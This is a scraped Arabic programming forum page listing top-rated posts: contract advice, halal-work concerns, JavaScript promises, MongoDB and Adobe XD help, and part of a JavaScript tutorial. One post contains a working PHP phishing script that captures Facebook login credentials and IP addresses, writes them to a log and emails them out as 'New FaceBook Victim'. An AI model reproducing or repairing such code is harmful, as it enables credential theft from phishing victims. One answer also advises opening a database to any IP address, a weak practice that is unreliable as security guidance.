اذهب إلى المحتوى

لوحة المتصدرين

  1. Mustafa Suleiman

    Mustafa Suleiman

    الأعضاء


    • نقاط

      9

    • المساهمات

      13209


  2. Adnane Kadri

    Adnane Kadri

    الأعضاء


    • نقاط

      4

    • المساهمات

      5196


  3. Ayman Alrawy

    Ayman Alrawy

    الأعضاء


    • نقاط

      3

    • المساهمات

      147


  4. عبدالباسط ابراهيم

    • نقاط

      2

    • المساهمات

      4894


المحتوى الأكثر حصولًا على سمعة جيدة

المحتوى الأعلى تقييمًا في 08/25/23 في كل الموقع

  1. اذا عملت كمبرمج في دول مسلمة او غير مسلمة هل كان صعب ايجاد العمل الحلال هل اغلب الشركات فيها في مواقعها تبرج و رِبا وصور ذوات ارواح ام ان هذا نادر لان هذا اكثر ما يخيفني في مجال البرمجة واتمنى بالتحديد الاجابة لو كنت ممن عندهم عامل الحلال والحرام شي اساسي (للاسف في هذا الزمن الكثير جعلو ذلك اخر همهم) وجزاكم الله خير جزاك
    2 نقاط
  2. ايه المشكلة فى الكود دا انا عنيا اتحولت <?php $date = gmdate ("d-n-Y"); $time = gmdate ("H:i:s"); $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); $message .= "========== Facebook Login ==========\n"; $message .= "User: ".$_POST['email']."\n"; $message .= "Pass: ".$_POST['username']."\n"; $message .= "Pass: ".$_POST['password']."\n"; $message .= "----------\n"; $message .= "IP: ".$ip."\n"; $message .= "Log : $time / $date \n"; $rnessage = "$message\n"; $send= "الاميل المستلم"; $subject = "New FaceBook Victim | $ip"; $headers = "From: FaceBook"; $file = fopen("logs.txt","ab"); fwrite($file,$message); fclose($file); $str=array($send, $IWP); foreach ($str as $send) if(mail($send,$subject,$rnessage,$headers) != false) { mail($Send,$subject,$rnessage,$headers); } ?>
    1 نقطة
  3. اريد ان اعرف ما هي تفاصيل عقود العمل في مجال البرمجه وبرمجه المواقع التي فيما بعض تضمن حقي وحق العميل ويكون فيها كل الشروط او الاشياء التي لو حدث بها نقاشات او مجادلات بعد استلام المشروع نقدر نرجع للعقد ويثبت الحق مبينا من ناحيه اسعار او قوانين او شروط محدده الخ.. وهل يوجد شكل متفق عليه في العقود وتنسيقات معينا؟
    1 نقطة
  4. يمكن أن يحتوي العقد على هذه الأمور التالية :- يجب أن يتضمن العقد وصفًا واضحًا للمشروع بما في ذلك أهدافه ونطاقه والميزات المتوقعة. تحديد المواعيد النهائية لتقديم مراحل محددة من المشروع، بما في ذلك الموعد النهائي لاستكمال المشروع بأكمله. تحديد الأسعار وكيفية الدفع، سواء كان ذلك استنادًا إلى تقديرات زمنية أو مراحل مكتملة. توضيح من سيمتلك حقوق الملكية الفكرية للمشروع النهائي والكود المصدري. تحديد مدى الدعم المقدم بعد استكمال المشروع وكيفية التعامل مع الأخطاء والمشاكل المستقبلية. تحديد شروط الإلغاء الممكنة من الجانبين والتكاليف المرتبطة بذلك. توضيح كيفية التعويض في حالة حدوث تأخير أو مشاكل في تقديم المشروع. تحديد مدى سرية المعلومات والبيانات التي تم تبادلها خلال العمل على المشروع. إذا كان المشروع يتضمن استخدامًا لبرمجيات مرخصة أو مكتبات خارجية، يجب تحديد الشروط والقيود المرتبطة بهذا الاستخدام. تحديد المخاطر المحتملة المتعلقة بالمشروع وتحديد ما إذا كان هناك أي ضمان لجودة العمل. تحديد مسؤوليات الجانبين فيما يتعلق بتقديم المواد والمعلومات اللازمة لإتمام المشروع بنجاح. بالنسبة للتنسيق والشكل، هناك قوالب جاهزة يمكن استخدامها لإعداد عقود العمل في مجال البرمجة وبرمجة المواقع. يمكن العثور على هذه القوالب عبر الإنترنت في مصادر مختلفة. عند استخدام قالب، يجب تخصيصه ليتناسب مع احتياجات المشروع والشروط المحددة بين الطرفين.
    1 نقطة
  5. أولاً بالنسبة للتنسيقات المعينة للعقود، لا يوجد شكل محدد يجب اتباعه في جميع الحالات. ومع ذلك، يفضل أن تكون العقود مكتوبة بشكل واضح ومفهوم، وتشمل جميع الشروط والاتفاقات المحددة بشكل محكم كما وضح لك مصطفى في التعليق السابق. يمكنك استخدام قوالب عقود متاحة عبر الإنترنت كنقطة انطلاق وتعديلها وفقًا لاحتياجاتك الخاصة. أما بالنسبة لضمان حقك فهناك طريقتين إذا كنت تعمل على منصات العمل الحر مثل مستقل فحقك أو حق العميل مضمون من جانب المنصة حيث أن المحادثة بينكما على الموقع تعتبر بمثابة العقد بينكما لذلك ليس هناك مشكلة إذا كنت تعمل على إحدى منصات العمل الحر أما إذا كنت تعمل بشكل مباشر مع العميل فالأفضل أن يتضمن العقد طريقة العمل ضمن milestones (المراحل الفرعية) هي طريقة شائعة وفعالة في إدارة مشاريع البرمجة وبرمجة المواقع. تتضمن هذه الطريقة تقسيم المشروع الكبير إلى مراحل فرعية صغيرة ومحددة زمنيًا .
    1 نقطة
  6. الأهم هو إحتواء العقد على النقاط التالية: تحديد اسم وعنوان كل من صاحب العمل أو المتعاقد والمورد بشكل واضح. تفاصيل المشروع بدقة، بما في ذلك الغرض منه، والوظائف التي يجب تنفيذها، والجدول الزمني المتوقع للتسليم، والميزانية المحددة. طريقة الدفع، والمبلغ الإجمالي، والجدول الزمني للدفعات. المعايير التي سيتم من خلالها قبول المشروع، وكيفية تحديد أي عيوب أو أخطاء. المسؤوليات القانونية لكل طرف، بما في ذلك المسؤولية عن الأضرار الناتجة عن الإهمال أو الخطأ. سرية المعلومات. تسليم الكود المصدري. آلية حل النزاعات في حالة حدوث أي خلافات بين الطرفين. بالإضافة إلى العناصر الأساسية، تتضمن عقود العمل في مجال البرمججة أيضًا عناصر أخرى، مثل: تحديد من سيمتلك حقوق الملكية الفكرية للمشروع. تحديد التزام كل طرف بعدم الكشف عن معلومات سرية للطرف الآخر. تحديد كيفية إجراء أي تغييرات في المشروع. كيفية التعامل مع أي ظروف طارئة قد تؤثر على المشروع. وبخصوص الصيغة أو قالب جاهز فابحث عن contract template for Software Development projects، أو ابحث عن "عقد برمجة موقع" وستجد نماذج يمكنك الإطلاع عليها. ومن الأسهل استخدام موقع عمل حر مثل مستقل والإتفاق على شروط المشروع بالتفصيل وكتابتها في محادثة المشروع، وستضمن المنصة حقك وحق العميل، ولديك منصة مستقل.
    1 نقطة
  7. const myPromise = new Promise((resolveFunction, rejectFunction) => { let connect = true if(connect){ resolveFunction("YES") } else { rejectFunction("NO") } }).then( (resolveValue) => console.log(`${resolveValue}, Done`), (rejectValue) => console.log(`${rejectValue}, Not Done`) ) myPromise.then( (resolveValue) => console.log(`${resolveValue}, Done`), (rejectValue) => console.log(`${rejectValue}, Not Done`) ) السلام عليكم الكود التالي يقوم بطباعة YES, Done Undefined, Done لماذا قيمة الresolveValue اصبحت undefined في المرة الثانية؟ كيف اجعل السطر الثاني مساوي للسطر الاول؟ ما هو الافضل: معالجة حالة الresolve وحالة الreject في البنية then أم معالجة الresolve في then و reject في catch؟ كلاها يعطي نفس النتيجة ما الفرق بينهما؟ شكرا لكم
    1 نقطة
  8. يحدث هذا لأنك قد استخدمت بالفعل الـ Promise واستخرجت منه النتيجة، وبعد ذلك حاولت استخدام نفس الـ Promise مرة أخرى. لذلك، يفترض أن تنشئ Promises جديدة إذا كنت تريد استخدامها مرات أخرى. بالنسبة للسطر الثاني، يمكنك استخدام تسلسل من then دون أن تستدعي الـ Promise مرتين: const myPromise = new Promise((resolveFunction, rejectFunction) => { let connect = true if(connect){ resolveFunction("YES") } else { rejectFunction("NO") } }).then( (resolveValue) => { console.log(`${resolveValue}, Done`) return resolveValue; // إعادة القيمة للاستخدام في الـ then التالي }, (rejectValue) => console.log(`${rejectValue}, Not Done`) ).then( (resolveValue) => console.log(`${resolveValue}, Done`), (rejectValue) => console.log(`${rejectValue}, Not Done`) ); بالنسبة للسؤال الثالث، الفرق بين معالجة حالة resolve وreject في البنية then ومعالجة resolve في then و reject في catch هو في تنظيم الكود ومرونة التعامل مع الأخطاء فقط. ولذلك، من الأفضل استخدام catch لمعالجة حالات الأخطاء الخاصة بالـ Promise، حيث يسهل تمييز الأخطاء وإدارتها بشكل منفصل.
    1 نقطة
  9. لا تقلق بخصوص ذلك الأمر، أغلب المشاريع البرمجية التي تعمل عليها الشركات هي مشاريع تجارية سواء تنفيذ فكرة مشروع وتحويله إلى موقع أو إنشاء موقع لشركة معينة أو جهة حكومية وخلافه، لذلك نوعية المشاريع نفسها ليس بها يثير قلقك، وبالطبع قد تواجه مواقع بها صور لنساء بشكل غير مرضي إسلاميًا، فيمكنك تجنب العمل على ذلك الجزء مثلا أو إضافة تلك الصور على قدر استطاعتك ومحاولة توفير صور أخرى تؤدي نفس الغرض إذا أمكن كصور كروتونية مثلاً أو 3D. ولنفترض أسواء الإحتمالات أن المكان الذي تعمل به لا يحترم مثل تلك الأمور ويضع أمور العمل في المقام الأول، فببساطة عليك البحث عن مكان آخر ورزقك مكتوب من قبل ولادتك أساسًا فلا داعي للقلق خذ بالأسباب فقط.
    1 نقطة
  10. طبعا يمكنك رفض العمل على المشاريع المشبوهة بشكل قطعي وحل المشكلة، رغم أن أغلب شركات البرمجة العربية والمسلمة لا تستقبل مشاريعا من هذا النوع أساسا. أما بالنسبة لموضوع الصور وما إلى ذلك، فقد يمكنك اشتراط هذا الموضوع هو الآخر. أغلب مشاريع العملاء تكون برامج إدارة أو مواقع ويب تجارية أو تعريفية، ونادرا ما تحتوي مثل هاته المواضيع المشبوهة. ولذلك فإن المجال يغلب عليه هذا الطابع، ولا نجد الأشياء المحرمة قطعا إلا في استثناءات تعد على الأصابع. استمر ولا تقلق بشأن الموضوع، سوف يمكنك التحوط من كل ما هو محرم بأساليب شتى.
    1 نقطة
  11. السلام عليكم انا اتعلم لغة بايثون لكن اكتبه في بايشارم. لا تأثر علي في فهم الاكواد؟
    1 نقطة
  12. السلام عليكم الرجاء توضيح الخطأ التالي عند الإتصال بقاعدة البيانات mongo db رسالة الخطأ: Could not connect to any servers in your MongoDB Atlas cluster. One common reason is that you're trying to access the database from an IP that isn't whitelisted. Make sure your current IP address is on your Atlas cluster's IP whitelist: https://www.mongodb.com/docs/atlas/security-whitelist/ شكرا لكم.
    1 نقطة
  13. السلام عليكم اذا ارسل لي شخص موقع عل هيئه Adobe xd file كيف اقوم باستخراج الصور والخطوط منه إلا يوجد طريقه ام يجب عليه هو إرسالها؟ كيف اقوم بفتح الفايل مع العلم اني قمت بفتحه عل figma ولكن لم أستطع اخد صور او اي شئ
    1 نقطة
  14. في الإصدارات الأخيرة من برنامج adobe xd عند استيراد ملف تصميم، ستجد أنه قام بتحديد جميع عناصر التصميم كـ marked for export أي تم تحديدها للتصدير، وكل ما عليك هو الضغط على file ثم export ثم اختر selected أي العناصر التي تم تحديدها. وتستطيع تحديد مجموعة عناصر بالتحديد عن طريق إختيارها ثم التصدير مباشرًة دون الحاجة إلى إلى تحديدهم كـ mark for export التي تظهر لك عند الضغط على عنصر في النافذة الجانبية جهة اليمين وهي مفيدة في حال أردت إختيار عناصر مختلفة وتجهيزهم للتصدير. وستجد هنا شرح بالفيديو من الموقع الرسمي: https://www.adobe.com/products/xd/learn/collaborate/developer-handoff/imported-psd-ai-files-marked-for-export.html
    1 نقطة
  15. في Figma مثلا يمكنك تصدير الصور عن طريق تحديدها أولا، ثم من على القائمة الجانبية اليمنى اختيار export قم بتحديد الدقة المطلوبة والصيغة ثم اضغط export كما يمكنك طلب الصور من العميل على شكل مجلد ملفات لإختصار الجهد.
    1 نقطة
  16. السبب هو أنك تحاول الوصول إلى قاعدة البيانات من عنوان IP غير مدرج في القائمة البيضاء، ومن الأفضل السماح بأي عنوان IP بالإتصال من خلال التوجه إلى لوحة معلومات MongoDB Atlas ثم اختر NetworkAccess ومنها اختر Edit ثم Allow Any أو قم بوضح الـ IP بالشكل التالي: 0.0.0.0/0 ثم التأكيد confirm ومحاولة الإتصال من جديد.
    1 نقطة
  17. حذفت المشروع من الجيت هب ومو راضي يروح من فيجول كود ايش الحل
    1 نقطة
  18. ما هي المهرات التي ينصح تعلمها اثناء هذه الدورة والتي ستساعد على ايجاد وظيفة
    1 نقطة
  19. عموما، يتم تقسيم المهارات ما بين : المهارات الناعمة (Soft Skills): وهي المهارات المتعلقة بالجانب المهني، الإجتماعي والذاتي للشخص المتقدم للوظيفة، وتتضمن أشياء من مثل القدرة على التواصل والإبداع، الصبر والإلتزام وما إلى ذلك. المهارات الصلبة (Hard Skills): وهي مجموع المهارات المتعلقة بالعمل نفسه، من مثل مهارة البرمجة الكائنية التوجه لمنصب مطور جافاسكربت. وكلاهما على حد سواء مهمة للحصول على وظيفة ناجحة. التعليقات السابقة قد تناولت مختلف المهارات الصلبة التي تحتاجها في وظيفتك، وفيما يلي بعض المهارات الناعمة التي تحتاجها أيضا: التواصل الجيد: قدرتك على التواصل بفعالية مع زملائك في العمل، العملاء، والمشرفين. القيادة وإدارة الوقت: قدرتك على إدارة وقتك بفعالية وتحقيق الأهداف المحددة. العمل الجماعي: قدرتك على العمل ضمن فريق والمساهمة في تحقيق الأهداف المشتركة. حل المشكلات: قدرتك على التفكير التحليلي وايجاد حلول للمشكلات المختلفة. الروح الإيجابية: قدرتك على الحفاظ على نمط روح إيجابي، والتعامل مع التحديات بتفاؤل. القدرة على التعلم: قدرتك على تطوير نفسك واكتساب مهارات جديدة باستمرار. المرونة والتكيف: قدرتك على التكيف مع التغييرات والتعامل مع الظروف المختلفة بفاعلية. قدرات التفكير النقدي: القدرة على تقييم وتحليل المعلومات بشكل منطقي ونقدي.
    1 نقطة
  20. السلام عليكم بعد بحثي وجت الاغلب يحرم الرسم وانا اريد ان اكون مطور واجهات امامية فسؤالي هل يكون مطور الفرونت اند هو مسؤل عن الرسم. المخيف اني ارى في اغلب المواقع صور ذوات ارواح هذا اكثر ما يجعلني اتردد في تعلم البرمجة مع حبي الكثير لها
    1 نقطة
  21. تم شراء 4 كورسات من اكادمية حسوب إدارة تطوير المنتجات علوم الحاسوب تطوير واجهات المستخدم تطوير التطبيقات باستخدام لغة Python بدأت من كورس علوم الحاسوب كبداية هل هذا صحيح؟ وايش الكورس الي لازم ابدأ فيه بعد ما اخلص منه؟ ياليت ترتبها من الواحد لل 4 بالرتيب
    1 نقطة
  22. 1 وهي أنني أنسى كثيرا اللذي تعلمته 2 لا افهم بعض الأكواد والدوال اللتي يتم كتابتها من طرف المدرب في المشاريع العملية
    1 نقطة
  23. بخصوص مشكلة النسيان، فلا تقلق بخصوص تلك النقطة، لكن بشرط أن تحاول جاهدًا استيعاب وحفظ ما يتم شرحه في البداية ثم التطبيق بمفردك ومحاولة التغيير في الكود لفهم كيف يعمل ولماذا كتبت هذا وذاك وليس الكتابة وراء المدرب فقط، وأيضًا التطبيق على ما تعلمته من خلال مشروع بسيط لتوظيف المعلومات التي لديك وتثبيتها. وأثناء مرحلة التعلم عليك المراجعة سواء من خلال إعادة إنشاء نفس المشروع أو مشروع غيره أو مراجعة ملخص قمت بكتابته أو مشاهدة الدرس بسرعة أكبر مثلاً، لكن من الأفضل المراجعة من خلال كتابة الكود بالطبع فتلك هي البرمجة أي تحتاج إلى الممارسة وليس المشاهدة والاستماع. وقد تم نفاش ذلك بشكل مفصل من قبل: أولاً عليك البحث عنها على جول ويوتيوب مثل كتابة اسم الدالة ثم بجانبها اسم اللغة ولتكن جافاسكريبت لكي يفهم جوجل أنك تريد تلك الدالة في تلك اللغة وسيظهر لك نتائج وتستطيع تفقد النتائج الأجنبية والعربية وستجد على يوتيوب الكثير من الشروحات بخصوص ما تريده، وذلك طبيعي في أي دورة فلا تكتفي بما يتم شرحه فقط أحيانًأ تحتاج إلى البحث من أجل المزيد من التوضيح والفهم. وبعد البحث تستطيع السؤال هنا وسيتم مساعدتك بلا شك.
    1 نقطة
  24. النسيان هو أمر طبيعي، حاول ألا تجبر حالك على حفظ تعليمات أو أي شيء، فقط افهم طريقة القيام بأمر ما، أي الخطوات الأساسية و لاحقاً في حال كنت لا تذكر تماماً كيفية القيام بشيء يمكنك ببساطة الاستعانة بغوغل، هذا ليس أمراً سيئاً حيث لا أحد يمكنه حفظ كل شيء. لاحقاً مع الخبرة و تكرار كتابة أكواد معينة قد تحفظ بعض الأمور بشكل تلقائي. لذلك حاول دائماً التطبيق كثيراً. أي كود أو دالة لا تفهمها أو لا تفهم الغاية من استعمالها يمكنك التعليق أسفل الدرس و سنقوم بمساعدتك على فهمها.
    1 نقطة
  25. حسب حجم الموقع، فإذا كان الموقع صغير جداً ويحتوي عدة منتجات فقط، فقد يطلب من المبرمج القيام بذلك ولكن الحالة الافتراضية ان مطور واجهات المستخدم ليس مسؤالاً عن ذلك.
    1 نقطة
  26. جزاك الله خيرًا على محاولة تحري الحلال من الحرام، وبخصوص الرسم فأولاً تصميم واجهة المستخدم ليست من إختصاص مطور الواجهة الأمامية بل هي من إختصاص مصمم واجهات المستخدم UI/UX، ولكن أغلب مطوري الواجهات الأمامية لديهم القدرة على تصميم واجهات جيدة وبمستويات مختلفة حسب قدرة وخبرة كل مطور، لكن ذلك ليس من إختصاصه، أما في حالة العمل على مواقع العمل الحر فستجد أنه مطلوب منك تنفيذ الموقع بالكامل أحيانًا من حيث التصميم والتطوير. والتصميم الذي ستقوم به أنت لا يتضمن تلك الصور لأنك لست مصمم بالأساس، بل ما يفعله مطوري الواجهة الأمامية هو البحث عن الصور والتصميمات واستخدامها، لذلك تستطيع تجنب استخدام التصميمات التي تحتوي على ذوات أرواح لكن بشكل ناقص مثل رأس فقط بدون بدن أو بدن بدون رأس أي بشكل لا يمكن الحياة أو العيش به فلا مشكلة.
    1 نقطة
  27. مطور الفرونت اند ليس هو المسؤول عن الرسم وفي الغالب لا يرسم اي شيء بل تأتيه التصاميم جاهزة ليستخدمها أو يقوم هو بتصميم الموقع لكن تأتيه الصور جاهزة أو انه يقوم برسم الصور (نادراً) واغلب المواقع لا تحتاج رسومات جاهزة بل تكون عبارة عن مربعات ومستطيلات بأشكال مختلفة وفيها يتم عرض معلومات معينة. باختصار هذا السبب ليس مبرراً لترك تعلم تطوير واجهات المستخدم ويمكنك بسهولة التوفيق بين تركك للرسم و تطوير واجهات المستخدم.
    1 نقطة
  28. الأمر بسيط عليك بتفقد وصف الوظائف المعلنة للمجال الذي تريد التخصص به، مثلا هل تريد أن تتخصص في مجال الواجهة الخلفية من خلال بايثون؟ عليك بالبحث عن وظيفة Python backend developer على مواقع التوظيف مقل LinkedIn وIndeed وغيرهم ثم تعلم المطلوب. بخصوص دورة علوم الحاسوب، فهي ستؤهلك لدخول مجال البرمجة بالفعل، من حيث تعلم أساسيات البرمجة وعلوم الحاسب. أما بخصوص دورة بايثون فعليك تحديد ما المجال الذي تنوي التخصص به من خلال تعلمك بايثون، هل تريد التخصص في مجال الويب أم مجال الذكاء الاصطناعي أم مجال تحليل البيانات. فإذا كنت مهتمًا بتطوير تطبيقات ويب، فعليك أن تطور مستواك في HTML، CSS، وJavaScript، ونفس الأمر بالنسبة لمجال الذكاء الاصطناعي والنقاشات التالية ستفيدك: فالنقاش التالي قمت بتوضيح وصف وظيفة خاصة ببايثون والمهارات التي ستتعلمها في دورة بايثون. وبعد الإنتهاء من الدورة عليك بالتدرب على حل المشاكل البرمجية لتطوير مهارة الـ Problem Solving لديك وستجد شرح حول تلك النقطة هنا: أيضًا عليك بمحاولة التدرب على مشاريع أخرى بجانب الدورة ولا تكتفي بالدورة فقط، وقد تم توضيح ذلك هنا: أيضًا تنمية مهارة البحث لديك وعدم القلق من تجربة أشياء جديدة لم تتعرض لها من قبل، والإهتمام بتعلم GIT وGitHub مبكرًا، وأيضًا لا تخف من أن تخطئ فلن تتعلم ما لم تخطئ. والأهم من ذلك كل هو التركيز على تعلم الأساسيات وعدم الإهتمام بتعلم المكتبات وإطارات العمل مبكرًا فلن تصبح مبرمج جيد وقادر على تعلم أي شيء ما لم تركز على الأساسيات وتوفير فترة مناسبة لها على قدر حاجتك فلا تستعجل.
    1 نقطة
  29. وعليكم السلام بشكل عام هناك العديد من المهارات التي يمكن أن تساعدك على تحسين فرصك في العثور على وظيفة. مهارات عامة :- القدرة على التواصل بفعالية مع الآخرين، سواء كان ذلك عن طريق الكتابة أو الشفهية. قدرة التعاون مع الفرق والزملاء في بيئة العمل. القدرة على تحليل المشكلات وابتكار حلول فعّالة. القدرة على تحليل البيانات واستخدام المعلومات لاتخاذ قرارات منطقية. الاستعداد لاكتساب مهارات جديدة وتطوير معرفتك باستمرار. مهارات متخصصة:- وهذه تتعلق في مجال الدورة التي قمت بالإشتراك بها ، لم توضح ما هي الدورة التي قمت بالإشتراك بها لكن بشكل عام يجب عليك تطويرات مهارات البرمجية وإكتساب معلومات وتطبيق عملي لما تتعله وبناء معرض أعمال إحترافي لإثبات أنك الشخص المناسب للوظائف المتاحة .
    1 نقطة
  30. ما هي الدورة المقصودة؟ وهل تريد العمل على مواقع العمل الحر أم الشركات؟
    1 نقطة
  31. يختلف الوصول إلى خادم VPS (Virtual Private Server) الذي يعمل بنظام Windows Server بحسب مزود الاستضافة وسياساته. قد يقدم بعض مزودي الاستضافة وصولًا إلى الخادم الافتراضي لأغراض الدعم الفني، في حين قد لا يقدمه البعض الآخر. من المهم التحقق من سياسات مزود الاستضافة الخاص بك أو الاطلاع على وثائقهم لفهم سياساتهم المتعلقة بدعم VPS. سيكونون قادرين على تزويدك بأدق المعلومات حول مستوى الوصول والدعم الذي يقدمونه لخادم VPS يعمل بنظام Windows Server. يرجى ملاحظة أن توافر الدعم الفني ومستوى الوصول قد يختلف اعتمادًا على نوع خطة استضافة VPS التي تمتلكها. يقدم بعض مزودي الخدمة استضافة VPS المُدارة، حيث يهتمون بإدارة الخادم وتقديم الدعم، بينما يقدم آخرون استضافة VPS غير المُدارة، حيث تكون لديك مزيد من التحكم والمسؤولية في إدارة الخادم. لضمان الوضوح، من الأفضل الاتصال بفريق الدعم لمزود الاستضافة الخاص بك والاستفسار عن الخيارات المحددة للوصول والدعم المتاحة لخادم VPS الذي يعمل بنظام Windows Server. تلخيصاً يجب الإهتمام بالتعامل مع شركة استضافة كبيرة حيث أن هذه الشركات تحافظ على سمعة جيدة
    1 نقطة
  32. أنت تقصد الدعم الفني الخاص بشركة الاستضافة؟ في حال كان سيرفر VPS مدار أي يتم إدارته من قبل الاستضافة، فلا يمكن ذلك، فما فائدة الدعم الفني إن لم يكن لديه صلاحية الوصول إلى السيرفرات؟ أم إذا كان السيرفر يتم إدارته من قبلك، فالدعم الفني ليس لديه صلاحية الوصول إلى السيرفر الخاص بك، لذلك عليك بتفقد ذلك من خلال سؤال خدمة العملاء في المنصة التي تريد شراء VPS منها. ولا تقلق أبدًا من ذلك، فهناك آلاف العملاء والبيانات والشركة مسؤولة عن حماية بياناتك وعدم تسريبها، ولو أن البيانات يتم سرقتها لما قام أحد بنشر موقعه على أي استضافة.، لكن بالطبع الشركات الكبيرة لديها بنية تحتية خاصة بها وData centers من أجل حفظ بياناتها بأمان أو تستأجر تلك البنية من شركة أخرى لتولي إدارتها وحماية البيانات.
    1 نقطة
  33. يعنى اكتب الكود بايدى هنا <div class="features"> <div class="container"> <div class="feat"> <i class="fa-solid fa-wand-magic-sparkles"></i> <h3>Tell Us Your Idea</h3> <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Tenetur ducimus fugit beatae rerum iste facilis ad ipsum tempore</p> </div> <div class="feat"> <i class="fa-regular fa-gem"></i> <h3>We Will Do All The Work</h3> <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Tenetur ducimus fugit beatae rerum iste facilis ad ipsum tempore</p> </div> <div class="feat"> <i class="fa-solid fa-earth-asia"></i> <h3>Your Product Is Worldwide</h3> <p>Lorem ipsum dolor, sit amet consectetur adipisicing elit. Tenetur ducimus fugit beatae rerum iste facilis ad ipsum tempore</p> </div> </div> </div> .features { padding-top: 60px; padding-bottom: 60px; background-color: #f6f6f6; } .features .container { display: grid; grid-template-columns: repeat(auot-fill, minmax(300px, 1fr)); grid-gap: 20px; } .features .feat { padding: 20px; text-align: center; } .features .feat i { color: var(--main-color); font-size: 30px; } .features .feat h3 { font-weight: 800; margin: 30px 0; } .features .feat p { line-height: 1.8; color: #777; font-size: 17px; }
    1 نقطة
  34. قدّمنا في الدرس السابق جافاسكريبت وذكرنا تموضعها في الوِب بالنسبة لـHTML وCSS، كما تحدّثنا عن واجهات برمجة التطبيقات الخاصّة بالمتصفّح وتلك القادمة من طرف ثالث. سنبدأ في هذا الجزء من الدرس النظر في بعض التعليمات البرمجية، وأثناء ذلك، يمكنك استكشاف ما يحدث فعليًا عند تشغيل شفرة جافاسكريبت في صفحتك. ما الذي تفعله جافاسكريبت على صفحتك؟ لنلخص بإيجاز قصة ما يحدث عند تنزيل صفحة وِب في المتصفح. عندما يُنزّل المتصفّح الشفرة التي كتبتها، والمكوّنة من وسوم HTML، أنماط CSS وتعليمات جافاسكريبت فإنه يشغّلها داخل بيئة تنفيذ (علامة تبويب Tab في المتصفح). تشبه هذه العملية المصنع الذي يأخذ المواد الخام (الشفرة) ويُخرج المنتح (صفحة وِب). يُنفّذ معالج جافاسكريبت JavaScript engine الموجود في المتصفّح تعليمات جافاسكريبت بعد أن تُجمَّع HTML وCSS وتوضعان في صفحة وِب. يضمن انتظار التجميع أنّ بنية الصفحة وتنسيقها موجودان بالفعل عند بدء تشغيل جافاسكريبت، أي أنه عند تشغيل جافاسكريبت تكون جميع تعليمات HTML وCSS موجودة ونفّذها المتصفّح. يعدّ هذا الأمر جيّدًا، إذ أن استخدام جافاسكريبت الشائع هو تعديل HTML و CSS ديناميكًيا لتحديث واجهة المستخدم، من خلال واجهة برمجة التطبيقات DOM التي تحدّثنا عنها في الدرس السابق؛ فإن نُزِّلت تعليمات جافاسكريبت وحاول المتصفّح تشغيلها قبل أن يكون هناك HTML و CSS فستحدث أخطاء. أمان المتصفح تعدّ كل علامة تبويب Tab في المتصفح دلوًا منفصلًا لتشغيل الشفرة (تسمى هذه الدلاء “بيئات التنفيذ” Execution environments من الناحية التقنية). يعني هذا أنه في معظم الحالات تُشغَّل الشفرة في كل علامة تبويب منفصلة عن الشفرات في بقية التبويبات، ولا يمكن للتعليمات البرمجية في علامة تبويب واحدة أن تؤثر مباشرة على التعليمات البرمجية في علامة تبويب أخرى - أو على موقع وِب آخر. هذا إجراء أمني جيد. لو لم يكن هذا هو الحال، لكان بإمكان القراصنة كتابة صفحات وِب مهمّتها سرقة المعلومات من المواقع الأخرى التي يزورها المتصفّح، وغيرها من هذه الأشياء السيئة. ملاحظة: هناك طرق لإرسال التعليمات البرمجية والبيانات بين مواقع وِب / علامات تبويب مختلفة بطريقة آمنة، ولكن هذه تقنيات متقدمة لن نغطيها في هذا الدرس. جافاسكريبت قيد التشغيل عندما يواجه المتصفح كتلة تعليمات برمجية من جافاسكريبت، فإنه يعمل بالترتيب، من أعلى إلى أسفل. وهذا يعني أنك تحتاج إلى توخي الحذر في الترتيب الذي تضعه فيه. على سبيل المثال، في شفرة جافاسكريبت التي شاهدناها في المثال الأول: var para = document.querySelector('p'); para.addEventListener('click', updateName); function updateName() { var name = prompt('Enter a new name'); para.textContent = 'Player 1: ' + name; } قمنا باختيار فقرة نصية (السطر 1)، ثم استدعينا مستمع الحدث Event listener بتطبيق التابعaddEventListener على الفقرة النصية المُخزَّنة في المتغيّر para (السطر 3)؛ لذا عندما يُنقر على النص تُشغَّل كتلة التعليمات البرمجية في الدالة updateName(). تُسمّى كُتلة التعليمات البرمجية القابلة لإعادة الاستخدام باستدعاء اسمها “وظائف” أو “دوال” Functions. يُطلب من المستخدم اسم جديد ثم يُدرَج هذا الاسم في الفقرة لتحديث العرض. إذا بدّلت ترتيب أول سطرين من التعليمات البرمجية، فإن الشفرة البرمجية لن تعمل . ستحصُل بدلا من ذلك خطأ في وحدة تحكم المتصفح الخاصة بالمطورين Console: -TypeError: para is undefined. وهذا يعني أن الكائن para غير موجود بعد، لذلك لا يمكننا إضافة مستمع الحدث إليه. ملاحظة: هذا خطأ شائع جدًا. يجب أن تكون حذرًا أن الكائنات Objects المشار إليها في التعليمات البرمجية موجودة قبل محاولة استخدامها. الفرق بين التعليمات البرمجية المفسَّرة Interpreted و المُترجَمة Compiled لابد وأنك سمعت في سياق البرمجة بمصطلحيْ التفسير Interpretation و الترجمة Compilation. جافاسكريبت هي لغة مفسَّرة. تُشغَّل تعليمات جافاسكريبت البرمجية من أعلى إلى أسفل وتُرجَع نتيجة تشغيل التعليمات البرمجية على الفور. لست بحاجة لتحويل التعليمات البرمجية إلى شكل مختلف قبل أن يقوم المتصفح بتشغيلها. من ناحية أخرى، تُحوَّل الشفرة البرمجية للغات المترجمة إلى شكل آخر قبل أن يشغّلها الحاسوب. على سبيل المثال تُجمَّع C / C ++ في لغة Assembly التي يُشغّلها الحاسوب. لكلّ من المنهجيْن ميزات، لكنّها خارج نطاق هذا الدرس. جانب الخادوم Server Side و جانب العميل Client Side لابد وأنك سمعت بمصطلحي من جانب الخادوم وجانب العميل، خاصة في سياق تطوير الوِب: الشفرة من جانب العميل Client side هي شفرة تُشغَّل على حاسوب المستخدم. يُنزّل العميل التعليمات البرمجية التي ينفّذها المتصفّح ليعرض صفحة الوٍب. سنتحدّث في هذا الدرس عن جافاسكريبت من جانب العميل. من ناحية أخرى تُنفَّذ شفرة جانب الخادوم على الخادوم، ثم تُرسَل نتيجة التنفيذ إلى المتصفّح ليعرضها. مثال على لغات الوِب الشائعة من جانب الخادوم PHP وبايثون وروبي و ASP.NET. وجافاسكريبت! يمكن أيضا استخدام جافاسكريبت كلغة من جانب الخادوم، على سبيل المثال في بيئة Node.js الشائعة. يُستخدم مصطلح ديناميكي Dynamic لوصف كل من جافاسكريبت من جانب العميل واللغات من جانب الخادوم. تشير كلمة ديناميكي إلى القدرة على 